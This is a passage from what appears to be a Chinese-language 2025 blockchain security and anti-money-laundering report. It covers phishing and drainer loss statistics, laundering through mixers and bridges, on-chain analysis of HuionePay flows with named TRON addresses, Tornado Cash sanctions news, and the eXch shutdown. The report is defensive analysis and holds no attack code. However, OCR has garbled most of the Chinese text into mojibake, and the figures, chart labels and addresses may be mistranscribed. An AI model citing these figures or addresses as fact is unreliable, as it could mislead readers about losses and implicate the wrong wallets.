> EEEBIMEESTERAENSR —EHEMN BTC BT Wasabi ;Fikia, BE—/MNISHAT
CryptoMixer, Tornado Cash ¥ Railgun, Z &, @3 THORChain. eXch. Lombard. LiFi. Stargate
1 SunSwap ETFE#ITT ZREFM AT . RE, XLEREFEAOTCEZNK Z) HP2P (R
X R) A R RARS
->ETH &Ml



432,748 ETH(84.45%, 9 12.1 {Z%5t) E@d THORChain MELK L EESEE BTC,
67.25% (342,975 ETH, #9 9.6033 1Z3£5t) B7E 35772 M &% @ th Rk 10,003 BTC,
1.17%(5991 ETH, 491,677 BER)MBAEUARREL, 57E 12490 M asd,
->BTC &M :

944 BTC(6.34%, £9 9,062 H3Et) B A Wasabi Mixer,

531 BTC (482 F 18,206 ETH, 3.57%) E @3¢ THORChain M BTC ¥##EILAK A,

Lazarus TEAE A RRE T bt 7 81, BN, SRRGRESREE. BalbigfE. R TEE
ZIERBRAKREETILE—BRESEDNNEE B ERIBEFE, N6 LBERER R T ™k

3.3.2 Drainers

AINTERBEANEERE — Web3 RIEFEE Scam Sniffer 5, 7R AR

(1) 8k

H1 2025 Phishing Report

Mid-Year Overview
By ScamShniffer

$39.73M 43,628

TOTAL LOSS TOTAL VICTIMS

5 $3.13M

LARGE LOSS CASES LARGEST SINGLE LOSS

©® ScamSniffer

2025 E ¥4, Web3 ARG EIGNAKTEL, SiHEKY 3973 FETMHFL, 22K
43,628 1, /N 94T T 2025 & £ F 4 Wallet Drainer R E EMBFIREFZEH, FTAL ML
ENRAFPRHERESE,

(2) KB


https://www.scamsniffer.io/

o AEMKED

Monthly total value stolen in crypto phishing and number of victims

—o— Total Victims [l Total Loss
12M

9.2K

10M

8M

6M

4m

2M

2025 H1

@) ScamSniffer

7.6K

9000

7000

January February

March April

5000
May June

A% MEEH REEHUE FHEABK
—A $10.25M 9,220 $1,112
—H $5.32M 7,442 S715
=R $6.37M 5992 $1,063
™A $5.29M 7,565 $699
AR $9.69M 7,547 $1,284
"R $2.80M 5,862 S478
Bit $39.33M 43,628 S917

EFFREEINRIES, —AMAARRESEL, 23X $10.25M 1 $9.69M, N AR K

E $2.80M, AEF¥FRIES,

o KEFWEESISH




2025 F L FHEA SHEBET 100 AEFTHARIMBEERES, BMEK S9.97M, H§ EFFEME
B9 25.3%.,

Monthly total value stolen in Large Loss Cases
2025 H1

I increaseApproval [l Address Posoing [l Transfer [l Approve Il Uniswap Permit2
6M

5M

am

@) ScamSniffer

Total Loss
w
<

2M

2025-01 2025-03 2025-04 2025-05

month

KEREHIF1E -

-> 5 B EHl—:#isk $3.13M WBTC, #98EH& H increaseApproval E4

-> 5 AZEFIZ #Hik $2.50M USDT, €94 75 = ik #Iw(Address Poisoning)
>4 BEH:Hk $1.43M, HEZLZREM Approve B4

>3 AEH:Hi%k $1.82M cUSDCV3, 9&ZZ R Transfer

->1 BZEH:HK SIMRLB X, 9&2ZH 7 Uniswap Permit2 &4

WEAER:

> 12K XL £ (Approve/increaseApproval/Permit2): 3 2, & K#Fifik i 56%
> BMKR LA (Transfer): 1 #2, & KFIRKE 18%

-> ik Bk 3w (Address Poisoning): 1 #2, &5 K&K 26%

(R &E



Web3 £ REMNARETRBMATE, SRNARKRBEERREXEHR AL, EREENFE
MEFHEL, KENTHIERTEINFTLZERAREFEEE . N —FK Web3 R
EWRFE &, Scam Sniffer MAF AT —PHZAFRBZTEH Web3 iR, EELRET 2
B #) Wallet Drainers, AEH R FEHENZHXATEZGEN, LUREEMIERE AR &
BIIA%1, B AT Scam Sniffer EELMEN T —EMBFERFEAF, AEELLRIERF
b2b@ScamSnifferio St 18 %,

3.3.3 HuionePay

FEE £ IKITEMEER, MTAANMEMIEEERARTINAEREMK, BICHEXMT
(HuionePay) M FEARSIETHREMNBEX I, ZTESREATEREESMEK. BB REE, L
H 27 TRON # L@ X USDT SR 174 L124E, 12F (SlowMist) T4 £ R K5 BIRTE
MistTrack 58 L A FFHIEIE T Dune BB ST E AR, FEMEM EFE T XOCAEX T
(HuionePay) #£ TRON &% £ USDT #FEIT N IR A 4T, BiEESEE N 2024 FE 1A 1BE
2025 % 6 A 23 H, ##EIR : https://dune.com/misttrack/huionepay-data,

(1) BEREE

Counter HuionePay withdrawals sum Counter Huionepay deposits sum

57,246,854,379 54,475,887,524

Counter Counter

20 H & - 57,246,854,379 USDT
FEr EE0 . 54,475,887,524 USDT

ZH LY 500 Z USDT, 87 HiCRERX #(HuionePay) £ — FE N EBHERBES
HASTH, BERNSTLASTHEREH, MEEERX 2771 {Z USDT, R\EM AL SR
HEE

2Q)BRAREHMA


https://dune.com/misttrack/huionepay-data

HuionePay Value Statis

1b

withdrawals ®

deposits @
500m
0
Jan 2024 Feb 2024 Apr 2024 Jun 2024 Aug 2024 Oct 2024 Dec 2024 Jan 2025 Mar 2025 May 2025
© @misttrack - 3h@

BRHEE R, LI F(HuionePay) & LR ERIIFELIFR, FELUT = 0ET A H I
&:

20247 A S H:-BEREIBAESIE, FTESEINHZIEM 10 12 USDT,
20256 3 A5 5 A - ARIRIE£FERSBE 1112 USDT,
Q) ER/RIXZEH

Huionepay withdraw tx count HuionePay deposit tx count

100k 100k

withdraw_count @ deposit_count @

50k

0 0
Jan 2024 Apr 2024 Jul2024 Oct 2024 Jan 2025 Apr 2025 Jan 2024 Apr 2024 Jul 2024 Oct 2024 Jan2025  Apr2025
© @misttrack - 3h @ © @misttrack - 3h@

HFET RAXZEHE 2024 F2 AEREMBRX LF, £ 2025F 5 A 12 BikEEE, 28
B 15 BE, BEUH SRR I, HRZT, FRXZRESEKEK, BRIB/N, FRE
HERSBREGHE 14 FE, BARFPEREFRAL TR,

st 2025 £ 3 A5 5 AMRNEFSEHREXRZERNRL LK, AT EEILTFES.

(A FEBAFH

51



HuionePay Users

0
Jan 2024 Feb 2024
© @misttrack

Jun 2024

Aug 2024

Oct 2024

Dec 2024 Jan 2025

May 2025

recipients @
depositors @

e 30 @

B 2024 E£#) L%, SCREX {4 (HuionePay) 7£ TRON $% E BHIRTF Rt B MAFE 3 A KE
s ZEUAME, BREBEMUXERT, BIFEER M A KA
MAAFHE, MiRP it NeTae A S BE XaiEikihil, BEAZERKGRRAF, FRititHE

HE8h, ENHRERKEL

HMEFZBRKRAFEMETHRSIFARS, FIBKEEEENSS,

(5) jEER Mt

Huionepay withdrawals rank

address

TWS84SZ2GE2EgyZDCrfVuEIXpoXYuBxteS
T9yFi9yxwBUjMbHWBFKDdwFdBwvzUAGBER
TTSSCATEYtQMAMURND6i1FPYaaBIMGY4ed
TDRKHLDxnBu2XtkxwKZMm5qwSuguKHmWDB
TWDipHWAGBMeUWKNnxaKa6LUdgngbZYcoEP
TVy8p6erwrnkkfmvG3iPGpUKswMZU36uMV
TUXsppbexDuVqQmNNSmnxg4pJI3HU9YtCEW
TRWWGNLRF1Hbd50ypQsTENM8G22tgszcxE
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn

893,186 rows Search...

@ @misttrack

>

sum
816288490
580787004
512389323
479470912
337623796
328079988.7099999
315516671.39

290435705.48

»

w30 @

Huionepay deposits rank

address
TL8TBpubVzBIr1UWPXBXUBPCci5ZAip9SwEE
TPEpdLYtHr8cN1Ibwf6CGNBIPpho7L20tx
TM1zzNDZD2DPASbKcgdVoTYhfmYgtfwx9R
TVy8p6erwrnkkfmvG3iPGpUKswMZU36uMV
TBQeYaWDSDgZV1LIbJQZ11iJIG5ebbCFBNQM
TFTWNgDBkQ5wQoP8RXpRznnHVAVV8x5jLu
THs8LKUGdtdPnN3xEBmVRWGo5mIRySUuib
TEdVW72PWcJ9Fwmw3w9uSBTLK6XJRUMIG]
TUTT07 2 DOLNY CmnNan 31

494,373 rows Search...

© @misttrack

sum
1,665,718,013.6
449,215,869.2
436,485,292.4
421,379,613
343,659,004.6
285,422,275.4
236,000,078.4

200,066,236.6

BAME AL RESEEBEIER MistTrack #4750 #7, SCEEXZ fF(HuionePay) FERIZIITHE
NE—TERERENREET I £, A=A NT:

ik 1 — TWS84SZ2GE2EqyZDCrfVuEJXpoXYuBxteS — 8.16 42 USDT
ik 2 — TOyFi9yxwBUMbHWBFKDdwFdBwvzUAGBfR — 5.8 4Z USDT
ik 3 — TTSSC4TEYtQMAMURNDGITFPYaaBJMGY4ed — 5.12 4Z USDT

ittt MR BRSO LLEE 2023 £, KEER, #LREFF,

it 1 XM ZASCEE X fF(HuionePay) IR B IR ™, B 5% MistTrack #5128 "OFAC

Sanctions”, “Theft”, “BingX Exploiter’ Bt it FE X H :



o

huionepay—-hot

TR5F41L...iet3Riu

K
2
A2

huionepay-hot 00
TLmktrd...olRKQSo 2,
(2>
By 7
Ly
o <
© g
1)
. E
. 7932557523
huionepay-hot 7.0 Uspy
TQ6Mbpz..VhQfpQC 200000.0 USDT
May 17, 2024, 12:57 PM
\‘O“DU o1

S
o P L TWSB4SZ...YuBxteS

5900000@

"0
U

e

huionepay-hot >

TUN4qgDN...SMCCLL1 ®

?"%',,,
7

Huionepay-hot

TX6QuBX...3sBErIE

huionepay-hot

TX3xNEm...qYo9Xcc

ik 2 SELNAFEE4ER (JROCEEER) F R ERIM A thit,

TQ5mMpZP... TsITpFZ

A,

TCc89ZQ...98TBCtJ

4,

TKRkrsD.. x2W22tF



USDT EOAOQ®
9 TOyFi9yxwBUjMbHWBFKDdwFdBwvzUAQBfR (=) Copy [ Report # Favorites
Chains:  TRON 0 @
¥ www.hwdb.la

AML Risk Score © v Risk Report

Risk Score: “ Risk Level: High

Risky entity © Sanctioned entity

© High-risk tag address
pZzas
y ~ e i .
~ S0 9 e

= N

Hacking event Suspicious txn Detail >

it 35 REFERERE:

huionepay-hot

PER A = ROfF ARt 30T

54

Overview €1 ¢

Balance
2.4261 USDT

First seen (UTC)
Dec 11, 2023, 05:43 AM

Total received
616,413,186.7561 USDT

Incoming txn
7,780

TTSSCAT...JMGY4ed

Portfolio v

Data updated seconds ago {_§

Txs count
151,358

Last seen (UTC)
May 17, 06:36 PM

Total spent
616,416,099.33 USDT

Outgoing txn
143,578

unknown

huionepay

Explorer v

—— huobi
—— Bridgers.xyz Swap

—— gate.io
weex
—— binance



it 4 — TL8TBpubVzBr1UWPXBXU8Pci5ZAip9SWEf — 16.65 42 USDT
it 5 — TPEpdLYtHr8cN1Jbwf6CGNBOPpho7L20tr — 4.49 {2 USDT
ik 6 — TM1zzNDZD2DPASbKcgdVoTYhfmYgtfwx9R — 4.36 42 USDT

Hrh, it 4 BFKRSEE 16 {2 USDT, NiIRIIEF &SIt 1.3 18, RE—EXZAEHE
2022 4F, SR FIEER (FICAER) EEER S thit, tbsh, ik 5 Fssiik 6 LN ET
BARGEM,

uUsDT o

e TL8TBpubVzBr1UWPXBXU8Pci5ZAip9SwEf
Portfolio Explorer

TRON © 0 ®

@ huionepay-guarantee

AML Risk Score ©  Risk Report overview €1 Q
Risk Score: Risk Level: E (

| 0.0usDT | 715,545

@ High-risk tag address f (
| oct 06, 2022, 09:08 AM | Jun 01, 12:45 PM

© Risk exchange
| 2,673,285,114.2339 USDT | 2,673,893,163.5689 USDT
| 706,160 | 9,385

Detail >

(6) J& XA [H]

FHABENIEER T 10 NECEEX fF (HuionePay) AT AR I E @t X3 HB/ERTE(UTC)
BTSN TE:



600

400 A

Count

200+

100 4

120 4

100 4

80 A

Count

20 A

Withdraw Address

300 +

12 13
Hour
Deposit Address

14

15

Address
e TWS845Z2GE2EQyZDCrfVUE]XpoXYuBxteS
[ TTSSCATEYtQMAMURNDGI1FPYaaB|MGY4ed
e TDRkHLDxnBu2XtkxwKZMmS5gqwSuguKHmMWDB
. TWDipHWAgBMeUWKNxaK46LUdgngbZYcoEP
e TUXsppberDuvgQmNN5Smnxg4p)3HUSYLCEW

T T T T T T
16 17 18 19 20 21 22 23

60 -

10 1n 1z 13

Hour

Address
I TRAA9R9151eE522crrxQgQTraWGVRubmou
[ TARyqGuWSs)yF1QF6onLpvZemZH)89f6BMh
I THs8LKUGtdPnNjxEBmMVRWqo5m9RySUujb
. TEAVWT72PWc)SFwmw3wIuSBTLKErRUMLG)
mE TKTZVwZzvPBKKNXSmaDpnjlsrizpBcwewa

i | | I ) | 5
14 15 16 17 18 19 20

21 22 23

BIEEHh A AR IR 5 E B & 7E UTC BYE 01:00 - 16:00, E e 07:00 - 13:00 A ST,
Blthtit, 40 TUXsppberDuVgQmNN5mnxg4pJ3HUQYICEW 7£ 02:00 — 03:00 HHI XX 5 =i, 45

Pl Hh it 15:00 - 2RH 00:.00 JLEEX Z o

BORER it B FF FRIRME T & P 4£ UTC BY[E 03:00 - 10:00, GiRI it K FIRET R ER D E S,

Hoh, Frihiit TRAAORIT151eE522¢rrxQgQTroWGVRubmou #1

TEQVW72PWeJOFwmw3wOuSBTLK6RUM1GJ 7 03:00 — 09:00 RIHIR T RLTEATH.

56




(D EEHE

2024 &£ 7 B 14 B, Bitrace k7R, Tether /A48 T 5 Huione & X pithtit TNVakKW, €85 3K 2,962
55 USDT, iZithit £ B ERBE X IEEEE.

2025 € 5 A 2 B, EEWBEERICFEHCEML(FINCEN) IR L EEE/ALH A Huione
Group IR EKFRS . EEWBREKF Huione 2 MELRHLFHE LTS SRFEEAIE
Huione Pay. Huione Crypto & Haowang Guarantee %,

2025% 5 A 8 B, BkeESMAMILERBH 2= (UNODC) £ H R FEH, Huione Guarantee
ERAREL MEER=LIEESRE HW—H57, HTEERIHEKE 240 ZETmER S,

20254 5 A 14 B, Elliptic #R&#F, Telegram £HE T #F 1~ 5"Xinbi 18 {R"18 X I Z JL FE 50 3E,
EEAEFE 84 {ZETAIEEXR 5, 5 Huione Group #F5I R KNZEEH,

20254 5 A 15 B, iiEHEFA (FLCEER) FEMEMREE Telegram Rk, FHIEXFLITE,
34 EMIE

3.4.1 Tornado Cash

(1) 4R

2025 E EHFFERHPHEITHEA 254,094 ETH(YY 605,272,821 £ 35¢) &l Tornado Cash, it
Tornado Cash 122k 248,922 ETH (£ 584,998,160 #E35t) ;7 5. 6 BFIBET NIRRT K,



Total ETH deposited TornadoCash Totals - First Half of 2025

=254,094

Total ETH deposited

Total ETH Withdraw TornadoCash Withdraws - First Half of 2025

Total USD deposited TornadoCash Totals - First Half of 2025

$605,272,821

Total USD deposited

Total USD Withdraw TornadoCash Withdraws - First Half of 2025

=248,922 $584,998,160

Total ETH Withdraw Total USD Withdraw

TornadoCash Deposit/Withdraw Per Week- First Half of 2025

Jan13th Jan 27th Feb 10th Feb24th  Mar10th  Mar2ath  Apr7th

(https://dune.com/misttrack/first-half-of-2025-stats)

(2) 5%

Tornado Cash B 2022 F£#EEMKES OFAC FIAKIFE L EE, KL TEHIEEBREMNRES
i, 2025 LK, BSEZMNHKESESREHEHIMWET,

2025 % 2 B 8 B, Tornado Cash #%10FF &K & 2 — Alexey Pertsev 7£ fi7 = W SRAR T L4~ B B3R A4
TR, EEIRKE 64 AT, SitER, EEMBERX Tornado Cash MIFSE & &
TEEZRE,1 A 21 B, XEERFEHMERX 5 EARBSE T ZEVRBNE R~ ZEHILE
(OFAC) 3 n%%;E ¥ Tornado Cash #I%I%i;3 B 21 B, OFAC IEXXfF Tornado Cash RE %
LIRS M(4FBIE EEIR A %) (SDN List) #ER, 4R T B 2022 F 8 A LRI &ML
FHlE. 4 A 30 B, EEERFHTER A EAREHLFTHR, INEWBEXS Tornado Cash #J
FIEATHEE, FARAZILEHEBFREBRLFIE

MEESERE, XEREMERRHERES. 4 A 8 B, H(ME)REHRE, RIEMAIBRA

ik, EMAIAEMEHERMERHHUEEI(NCET), #FL U BERIFRELEE R, 8118
K Todd Blanche ®R7%, §ERRETHHEERTRAFNBEHILIEES, Hl0E5 B E XL,
REALMBEXBEKRITH, MIEX AL TEI Tornado Cash, AR AR HFERHIT — TIY]
H'BF. ZBRBEANFAEBRFHNBFRATEEERABRNEZAMRAMS



3.4.2 eXch

(1) 84k

2025 FE FFERAPHITEFEA 28,756 ETH(4 82,193,535 E5T) | eXch, #it#E A 73,482,393
ERC20(£J 73,482,393 ) Bl eXch; FAMETE 3 A¥AR 194 FETHIEE, FRESH, T4
A 30 BELE

Total ETH deposited eXch_2025 Total ETH USD deposited eXch_2025

=28,756 $82,193,535
Total ETH deposited Total ETH USD deposited
= 4min @ @ @misttrack e Amin @
Total ERC20 USD deposited eXch_2025 Total ERC20 deposited eXch_2025
$73,482,393 73,482,393
Total ERC20 USD deposited Total ERC20 deposited
e amin @ @ @misttrack e 4min [}

ext_2025_deposit

Feb 3rd

(https://dune.com/misttrack/first-half-of-2025-stats)

()%

ER—RIEKYC P MER ZFEE, eXch £ L F FRBIE BN Lazarus Group &M 51 &
[miZitit. 20254 2 A 24 B, eXch HitlE EBINT 5 Lazarus B 1EE4kMIIEIE, REHKIA
‘Bybit BEREHM— /NI BRERLHFHAT FHATM AL, eXch FRIX 2 — DML ER", HRE T
MXEEREAB N TRIAERLMFFRIE . SFEE, eXch A% T —3 % 8 Bybit & T HIHR
HEE, NAERERFEELEHEIFCHE DL, BZERBIEL, eXch EIET Bybit fFH #hik

BRERNBRRRETFEFEFE,



MistTrack & @ A e
@MistTrack_io

#eXch just publicly posted #Bybit’s interception request email and
issued a response. Not the first time—they’ve done the same to us and
many other security researchers.

2@

12:22 PM - Feb 23, 2025 - 935.6K Views

MEFERHMEEHDHAR, eXch F 20255 3 A 31 BEMEFSMTHEMEEERRN—RL
A& H, FRETMBERMEZ. A& HREFSREEQAT—FKH, B2 BELIEE
BAKLES, HESKFFEEMERMATIRTHRETE . eXch BRR, BEEERAELEEZENE
M &t 3T HI B4R, ATRE#RSIA OFAC #lEE R, EE@IEEMIREBINMONEE. Fit, FERE
RS &R, EEXEAFER eXch RFAIREER AitEE, REFE ' TERTEZER, 'R
AIBERIEETE", eXch R TZ T USDT #1 USDC, FREFFLEH Tether #0 Circle hI BAIXE,
AR DA RENR S, FAEMMURIEUFE—SRERXZPE, flNELEABRSREEH
tt, BAFEAESHU S —RERFHE, LUED B,

EHREEA4A 178, XchERFTFSA 1 BEXXA, eXch EAEDRT, HEERAKSH
BRAREREEILTEFBRY, LIBEINA X Lazarus Group F AT & %kEL 3500 B ETRIIE
Z,eXch g, BEERN ' BAAFEREWETH MBEENR, FAIEEEIGTIEIFL, FFEZH
WHERE, N FEHREZFEBIRWHREPREZTEELTE L,



MistTrack & @ o -
@MistTrack_io

E3 eXch is shutting down

@exchcx has announced it will shut down on May 1st, 2025. The project
became the target of a transatlantic law enforcement operation over
alleged "money laundering and terrorism" charges. To avoid further risks
and protect both the team and the community, eXch has decided to shut
down voluntarily.

bitcointalk.org/index.php?topi...

OFFICIAL ANNOUNCEMENT
1t tme, friends.

@Xeh will officially shutdown its oparations sffective May 1st, 2025.

a5, Thus, the gaal of stopping

® MistTrack & © @MistTrack_io - Apr 2
EA eXch is undergoing major changes E3

@exchcx is about to merge with a company in another jurisdiction, update ToS
to warn U.S. users, delist USDT and USDC in favor of DAI, and shift to dynamic
and one-time addresses for enhanced privacy. = ...

11:10 AM - Apr 18, 2025 - 29.8K Views

R4, 20254 4 A 30 B, EEKMHZRBKA) 5XLRELERERKAZEHT eXch HEEHN
AR5 28 R t8i 4 (BL4E exch.ox), F BN 3400 BRRFTTAIINE &=, @E BTC, ETH. LTC 1
DASH, BEA$EH, eXch B 2014 252 E#iE, I Bybit BEZE. Multisig &49RiR. FixedFloat
WHEHEH. Genesis EMEF SRR DB HMNIEZRSRMRERE, BTG BARE"S
SKIE 19 2327, ZFEB R NAEE KYC MR SIS, ERAEMTHGHTER INEEE L
E=ZRKMBAFEHENRONE,

g B4

~ 0N~

2025 F L F, RRETUEBRELZTEN, BE. REZKXBHE. RERHMHMELI, L
HEWEARRAURHINANMIERR EHEMNM, 8 LER. BREFEFLTEENET M
L. Bm—7FH, EXANEEEEMER WEEE. XEH. RBFHEEHSMEAN, 170k


https://www.presseportal.de/blaulicht/pm/7/6029813

‘EAEENESBRBARE, BAEXE, TULEEZRS EHRHAEBRME, S#E ERANK,
RENBE.RENEWAALAR REFOUBRERETHERESALEERRTEREA. ER.

. RRFEH

ABERNBE TR XREITUIRAE | ST XIREWEEIEEEFE SlowMist Hacked LRk R %8
BERREE MistTrack IR . (BB FRREM EL HME, HNELFFEERIEREHIENL
WA, hAENEPHEIR, RERFEARRESEMRRKIEREI, RN, NREFK

AR BWRE M THIRE AREPEERFNAR R 24, D AXRHIITIEIE,



7N X TEA]

sLawmisr \

BEMBRE-—RLTIRRELESTEMAE, KT 2018F 01 A, B—XHA+EFE—LME
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